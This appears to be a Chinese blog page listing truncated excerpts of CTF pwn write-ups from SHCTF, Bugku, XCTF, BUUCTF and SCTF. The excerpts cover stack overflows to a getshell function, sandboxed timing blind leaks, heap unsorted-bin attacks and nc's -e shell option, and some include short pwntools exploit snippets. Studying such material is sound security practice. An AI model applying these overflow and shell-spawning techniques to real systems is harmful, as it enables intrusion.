2023 SHCTF-校外赛道 PWN WP】的更多相关文章

babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn import * from pwn import p64,u64,p32,u32,p8 from pwnlib import timeout context.arch = 'amd64' # context.log_level = 'debug' context.terminal = ['tmux','…
一. PWN1 题目:nc 114.116.54.89 10001 1.  直接kali里面跑nc 2.ls看看有啥 3.明显有一个flag cat查看一下 搞定 二 . PWN2 题目:给了nc 114.116.54.89 10003还给了一个附件 1.放到ubantu中file一下,,64位,动态链接 2.用64位的ida打开 看一下main函数按f5,可知read函数有一个缓冲区漏洞 后面还有一个getshell函数 那么思路也就是把溢出的地址改为getshell函数执行的地址 在gdb动…
比赛结束前半个小时才看的题,等我做出来比赛已经结束了.难受Orz 本地文件无法执行,远程调试. 题目大概意思就是让你计算200道四则运算.(实际上格式是固定的.先乘一次然后再加两次).200道题都正确则会用read读取数据.v8=304305682则会执行getshell函数.很明显可以变量覆盖.v7,v8相距0x64 exp: 顺便一提,这个exp不适合非酋.当每隔一秒产生的算式中同时出现两个个位数,recv就会把‘=’读取,遂报错.用正则匹配会比较好,但因为当时时间紧迫就没用. 之后再输入队…
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_shell 送分题,连接上去就是/bin/sh 不过不知道为啥我的nc连接不上... 还是用pwntool的remote连接的 from pwn import * io = remote("111.200.241.244", 64209) io.interactive() 2.hello pw…
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本 from pwn import* sh=remote('f.buuoj.cn',6001) payload='a'*23+p64(0x401186) sh.sendline(payload) sh.interactive() 得到flag 3,warmup_csaw_2016…
面向pwn刷cgctfPWN1,When did you born题目给了一个ELF文件,和一个.C文件先运行ELF,大概如下What’s Your Birth?0What’s Your Name?0You Are Born In 0You Are Naive.You Speed One Second Here.打开.C文件,发现是ELF的源码 #include <stdio.h> struct Student { char name[8]; int birth; }; int main(vo…
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 25677 [注] nc命令详解 -c shell命令为"-e":使用/bin/sh来执行 [危险] -e 文件名程序在连接后执行 [危险] -b 允许广播 -g 网关源路由跃点,最多8个 -G num源路由指针:4,8,12... -i secs 发送的线路和扫描的端口的延迟间隔为1秒 -…
总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家. ezlogin 程序设计周大作业稍加改编出的题目.洞在Tea里,有个数组越界写,为了避开\x00截断,我给了*可以对其进行替换.最后base64带出flag. from pwn import* context(os='linux',arch='amd64',log_level='debug') s = remote('49.233.15.226', 8001) canary = u64(s.recv(7).rjust(8…
WEEK1 web Classic Childhood Game 一眼顶真,直接翻js文件,在Events.js中找到mota(),猜测是获取flag,var a = ['\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57…
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete会清0变量导致无法写,一直没构造出unsorted bin attack,后面根据wp发现只要修改一下free的顺序就行了. 这题的主要功能如下: 正常的堆题模板,1是申请堆,2是删除堆,3是写刚申请的堆,4是输出刚申请的堆的内容,5结束. 首先泄露libc的地址,申请堆只能申请0x7f到0x100…